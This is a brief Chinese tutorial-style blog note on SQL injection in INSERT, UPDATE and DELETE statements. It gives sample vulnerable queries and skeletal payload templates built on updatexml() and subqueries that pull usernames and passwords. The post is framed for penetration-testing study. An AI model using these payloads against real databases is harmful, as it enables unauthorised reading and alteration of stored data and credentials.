insert、update、delete注入

本文深入探讨了SQL注入的一种特殊形式,即针对Insert、Update、Delete操作的注入攻击。通过实例展示了如何构造payload,如'or updatexml()or',来绕过安全防护,影响数据库的插入、更新和删除操作。虽然Update注入无法直接查询值,但在特定条件下仍能执行。了解这些注入方式对于提升安全防护和进行渗透测试至关重要。
摘要由CSDN通过智能技术生成

目录

前言

一、常见形式

二、insert注入(不使用报错)


前言

本文章主要总结不同于普通查询sql注入,而是稍微少见的insert、update、delete注入。

一、常见形式

(1)insert: insert into users(id,username,passowrd) values (2,'注入点','Olivia');

payload可以为: 'or updatexml() or '   

(2)update:   update users set id=1,username='注入点',password=3

payload为:  'or updatexml()--+

(3)delete:   delete from users where id=2 注入点

payload为:   or updatexml() or ''

注意:这些都可以查表、列,但是update因为正在更新数据,所以不能执行查值操作,除非有另外一张同样包含id、username、password字段的表,这样就可以正常进行update查询字段值。

二、insert注入(不使用报错)

payload:  ',(select username from test)),((select password from test),''

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值